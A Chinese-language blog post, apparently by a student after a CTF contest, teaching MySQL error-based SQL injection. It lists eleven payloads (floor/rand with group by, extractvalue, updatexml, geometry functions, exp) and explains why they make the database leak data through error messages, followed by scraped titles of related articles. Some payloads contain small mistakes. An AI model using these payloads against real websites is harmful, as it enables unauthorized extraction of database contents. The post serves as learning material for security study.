——志向和热爱是伟大行为的双翼。

昨天偷懒了没学什么东西,先自我反省一下 - -。

今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中遇到的web100。当时懵逼状态,被学长提醒了一下才知道是Mysql报错注入,因为之前一直都没接触过,所以当时只是知道怎么用然后拿了flag。其实根本不知道什么原理怎么回事,直到今天才把一些常见的报错注入方法原理搞懂,所以写篇博客来加深记忆以便后期会议。

首先,SQL有一下几种:

1.UNION query SQL injection(可联合查询注入)

2.Boolean-based blind SQL injection(布尔型注入)

3.Error-based SQL injection(报错型注入)

4.Stacked queries SQL injection(可多语句查询注入)

5.Time-based blind SQL injection(基于时间延迟注入)

今天我们说的就是Mysql的报错注入(想了解其他的请移步这里),共有11中方法(最后一种不适用于老版本)。

1,floor() payload:

and select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))--

2, extractvalue() payload:

and extractvalue(1,concat(0x7e,user(),0x7e))--

3, updatexml() payload:

and updatexml(1,concat(0x7e,(select user()),0x7e),1)--

4, geometrycollection() payload:

and geometrycollection((select * from(select * from(select user())a)b))--

5, multipoint() payload:

and multipoint((select * from(select * from(select user())a)b))--

6, polygon() payload:

and polygon((select * from(select * from(select user())a)b))--

7, multipolygon() payload:

and multipolygon((select * from(select * from(select user())a)b))--

8, linestring() payload:

and linestring((select * from(select * from(select user())a)b))--

9, multilinestring() payload:

and multilinestring((select * from(select * from(select user())a)b))--

10, exp() payload:

and exp(~(select * from(select user())a))--

11,基于Mysql的数据类型溢出(不适用于老版本的Mysql,5.5以后版本)

Mysql报错注入原理分析(count()、rand()、group by):

基本上一下午都耗在这里了,因为实在不是很容易懂,其实也不是,只是开始的时候浪费了很长时间在一些讲的不透彻的资料上,接下来我就说一下我自己的理解。

我们先来了解一下这三个函数的作用:

count():统计有select语句返回的记录。

rand():随机生成0-1之间的浮点数  rand()*2就是0-2之间的浮点数

group by:用于结合合计函数,根据一个或多个列对结果集进行分组。不懂的话具体例子看这里:GROUP BY

另外  floor()函数是取整的意思。

我们使数据库报错的payload有两种  1. and select concat(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))--

2. and select concat(*) from information_schema.tables group by concat(database(),floor(rand()*2))--

这两个语法的区别在于 rand()函数有没有随机因子0,有随机因子的payload必定报错(因为有随机因子的语句生成的值固定——有规律),而没有随机因子的payload随机报错(随机生成值,无规律)。

原理:

当MySQL数据库执行该语句的时候会建立一个虚拟表,表中有主键key和count(*)。当从数据库提取数据时,执行一次payload,提取的值为0,接下来会访问虚拟表检查是否存在0,因为我们这是第一次执行,所以表中不存在数据,所以我们将数据插进虚拟表中,这时又执行了一次payload,这次的值为1,所以向虚拟表中插入key:1,count(*):1。接下来第二次提取数据,执行payload获得数据1,再次查询虚拟表,存在1,所以直接count(*)+1,这时我们已经执行了三次payload,继续第三次提取数据,执行语句,得到数据0,查询虚拟表中不存在0,所以向虚拟表中插入数据,执行payload得到1,插入表中,而虚拟表中此刻为: key:1,count(*):2。由于1已经存在,继续向数据表中插入1导致报错。其实简单来说,导致报错的原因就是数据库中主键的不可重复性。

这就是为什么有随机因子的payload在数据库表大于3的情况下一定会报错,而另一个随机报错。我建议自己安装一个MySQL,然后在命令行下试一试这几个函数的效果,非常有助于理解。不是很好理解,如果本片文章不能让你看懂的话,可以移步这里,我也是在这篇博客的教导下自己在虚拟机中实践学懂的,没那么难理解。

XML查询函数报错原理(extractvalue,updatexml):

这两个函数报错的原理其实都是一样的,因为函数的第二个参数要求为Xpath 的string格式,而我们用concat函数生成的是连接的字符串,因此报错。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

extractvalue函数同理。

本文主要说了前三种报错注入的方法和原理,其余的因为我暂时还没遇到 感觉并不常用所以以后遇到的时候在补回来,如果对其他的报错注入有兴趣可以点这里。

最后希望自己在这条路上继续坚持下去,保持热情,路途遥远且行且珍惜,共勉。

mysql中文注入_SQL注入之Mysql报错注入相关推荐

  1. mysql 堆叠查询_SQL 注入方法 - 盲注、报错注入、UNION查询注入与堆叠注入

    盲注 关键点是 根据页面返回内容分析 Payload 中的问题是否为真,然后通过多次测试遍历出想要的数据 布尔盲注 目标地址:http://newspaper.com/items.php?id=2 对 ...

  2. mysql less6教程_Sqli labs系列-less-56 报错注入法(上)

    睡了一下午,晚上也没啥事,还特别精神,就想着,要不继续做做这个系列第五关和第六关吧,在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是 ...

  3. SQL注入之联合查询、报错注入和sqlmap

    文章目录 SQL注入的方法 方法一:联合查询 方法二:报错注入 extractvalue() 函数 updatexml()函数 方法三:Sqlmap SQL注入即是指web应用程序对用户输入数据的合法 ...

  4. mysql 报错注入输出多个字段_SQL注入浅析

    原标题:SQL注入浅析 SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操 ...

  5. mysql查找语句报错_MYSQL报错注入-WEB资讯专栏-DMOZ中文网站分类目录-免费收录各类优秀网站的中文网站目录....

    目录 审计思路报错语句报错函数查询表floor报错函数讲解报错原理语句xpath语法报错函数讲解语句整数溢出报错exppowcot列名重复报错name_constjoin using几何函数报错不存在 ...

  6. mysql报错注入原理,MySQL报错注入

    什么是报错注入 SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中.我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细, ...

  7. 闪退没由报错_关于floor()报错注入,你真的懂了吗?

    0x01 简述 floor报错注入也有叫group报错注入的,都一样,指的都是他们.floor报错注入我想大多数人跟我一样,都是会用而不明白其中的原理.这个问题困扰了在下好长时间了,所以决定好好研究下 ...

  8. 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例

    「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 报错注入 一. ...

  9. SQLi Labs Less-1 联合注入+报错注入

    第一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解,原理+步骤+实战案例 第一步.判断注入点 地址栏输入:?id=1' and 1 -- a,正常显示 ...

  10. SQL注入-报错注入

    目录 一.报错注入的定义 二.利用报错注入的前提 三.报错注入的优缺点 四.构造报错注入的基本步骤 五.常见的报错注入函数 六.报错注入演示(只演示前三个) 1.利用floor()函数进行报错注入 ( ...

最新文章

  1. AI一分钟|欧盟将对Google开出天价罚单;智能家居制造商Nest并入Google;沃尔玛与微软合作挑战AWS...
  2. PAT乙类1014 福尔摩斯的约会 (20 分)
  3. 过渡效果_(新)61种数字胶动态过渡延时摄影效果转场 WIPE amp; LIGHT TRANSITIONS(3462)...
  4. Confluence 6 安全相关问题提交链接
  5. 不要轻率的问自己可以想明白可以确认的问题
  6. android studio for android learning (十) android之activity的启动和关闭
  7. 世园会开幕式上的机器人_小胖机器人驻扎“2019北京世园会”媒体分会场
  8. 阿拉伯数字金钱转中文大写
  9. 智慧组塔抱杆组立动态在线监测装置
  10. 使用ps工具进行图片分析
  11. P4556 [Vani有约会]雨天的尾巴(线段树合并)
  12. 从汽车到可穿戴设备的设计都利用 PMIC 实现电源效率
  13. excel表格打印每页都有表头_教你一招Excel打印技巧:每页有表头标题,阅读起来是真方便...
  14. 利用Gitee搭建免费图床(详细教程)
  15. DW-概率统计打卡task01
  16. YOLOv5的Tricks | 【Trick7】指数移动平均(Exponential Moving Average,EMA)
  17. java keystore pkcs12_Java密钥库的不同类型 -- PKCS12
  18. 等级保护测评工作重点难点_重点保护
  19. 磁盘管理:磁盘调度算法
  20. 西门子1500/1200 PLC中,使用AT指令交换字节顺序与 SCL中使用 .%X 的不同

热门文章

  1. 360浏览器图片放大镜如何关闭
  2. 8除以2表示什么意思_八字中劫财,比肩分别表示什么意思
  3. java服务端无法发送给客户端,无法从客户端向服务器发送消息
  4. java开发原则_java开发中,大家处理异常的原则是什么,是如何处理的?
  5. JS遍历数组的12种方法
  6. linux怎么查看内核定义的结构体,Linux如何查找一个结构体的原始定义
  7. Java 的混合执行模式
  8. 排序算法 —— 计数排序
  9. pyecharts本地文件_python数据可视化-pyecharts插件使用文档
  10. java集合的遍历_Java集合之遍历